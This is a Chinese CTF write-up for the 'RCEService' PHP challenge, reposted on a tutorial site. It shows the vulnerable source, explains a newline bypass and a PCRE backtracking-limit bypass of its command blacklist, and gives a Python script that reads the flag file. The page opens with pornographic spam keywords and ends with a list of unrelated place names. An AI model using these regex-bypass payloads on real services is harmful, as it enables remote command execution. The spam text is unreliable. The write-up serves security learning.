最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP試題之RCEService正則回溯解答

 更新時(shí)間:2022年04月11日 17:50:34   作者:-梔藍(lán)-  
這篇文章主要為大家介紹了PHP試題之RCEService正則回溯解答,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪

打開(kāi)題目輸入JSON類型的cmd后,嘗試讀取index.php的源代碼,但是讀取不出來(lái),并且掃后臺(tái)出來(lái)的/index以及/index/login也沒(méi)有任何東西,實(shí)在不知道怎么做了,只能看一下別人的wp,發(fā)現(xiàn)別人以來(lái)都是審查源碼,我就奇怪了,源碼怎么弄來(lái)的,看了很多wp發(fā)現(xiàn)應(yīng)該是比賽的時(shí)候直接給的源碼,但是buu平臺(tái)忘記加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正則,看來(lái)這題是要繞過(guò)正則執(zhí)行cmd命令了,這么多黑名單函數(shù)應(yīng)該不會(huì)讓我們找漏網(wǎng)之魚(yú)吧,不會(huì)吧不會(huì)吧

我們看到正則表達(dá)式?jīng)]有添加修飾符,那我們可以利用多行匹配這個(gè)漏洞了

 在這里我們可以利用%0a換行符進(jìn)行繞過(guò)正則匹配,而且可以看到要有修飾符s才會(huì)讓.*匹配換行符,因此我們這里可以利用我們之前的ls試試能不能成功

發(fā)現(xiàn)依然可以出來(lái)index.php;源代碼中編譯了環(huán)境變量path(我以為只是單純暗示我們這個(gè)目錄),我們就在那個(gè)目錄下看看 

發(fā)現(xiàn)了flag文件,我用nl,cat,more,less等命令都讀取不出來(lái) ,查資料發(fā)現(xiàn),系統(tǒng)命令需要有特定的環(huán)境變量的也就是路徑,系統(tǒng)找不到該路徑下的exe文件怎么執(zhí)行系統(tǒng)命令

因此這個(gè)地方查閱資料后發(fā)現(xiàn)只能調(diào)用絕對(duì)路徑下的命令,cat命令就在/bin/目錄下面

 第二種辦法也就是正則表達(dá)式回溯過(guò)多導(dǎo)致false,說(shuō)實(shí)話我還是第一次聽(tīng)到正則的回溯問(wèn)題

PHP利用PCRE回溯次數(shù)限制繞過(guò)某些安全限制

簡(jiǎn)單來(lái)說(shuō)就是正則表達(dá)式匹配的時(shí)候某個(gè).*將后面的字符全部匹配到了,導(dǎo)致表達(dá)式后面的式子沒(méi)有地方匹配,因此一個(gè)一個(gè)字符吐出來(lái),直到后面的式子全部匹配完畢或者回溯次數(shù)過(guò)多

例子

 經(jīng)過(guò)自己試試果然只能回溯一百萬(wàn)次

'/^.*

正則表達(dá)式最前面的匹配字符,^代表首個(gè)字母,'.'代表除換行符之外的所有字符,*代表前面那個(gè)表達(dá)式重復(fù)執(zhí)行多次,因此他這里直接把我們的payload全部匹配完畢,導(dǎo)致后面的匹配不到字符了,只能一個(gè)個(gè)回溯

再將后面的匹配一下字符,可以發(fā)現(xiàn)目前寫(xiě)的小寫(xiě)字母都沒(méi)有過(guò)濾掉,因?yàn)槭M(jìn)制\x00-\x1f換算成十進(jìn)制并沒(méi)有到小寫(xiě)字母的ascii值那個(gè)地方,因此我們可以任意利用一個(gè)小寫(xiě)字母×個(gè)一百萬(wàn)次,就可以讓正則表達(dá)式直接失敗

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

以上就是PHP試題之RCEService正則回溯解答的詳細(xì)內(nèi)容,更多關(guān)于PHP試題RCEService正則回溯的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評(píng)論

友谊县| 博乐市| 永胜县| 太仆寺旗| 阳泉市| 惠来县| 盐源县| 宜兰市| 仁怀市| 晋宁县| 英吉沙县| 昌黎县| 泊头市| 巴林左旗| 诸城市| 六盘水市| 新疆| 循化| 瓦房店市| 凉城县| 左云县| 玉龙| 邻水| 琼结县| 五华县| 丽水市| 南通市| 景宁| 宜兰市| 汶川县| 东阳市| 新乐市| 井研县| 肥东县| 富源县| 乌兰浩特市| 宝兴县| 宁武县| 玉林市| 涿鹿县| 新野县|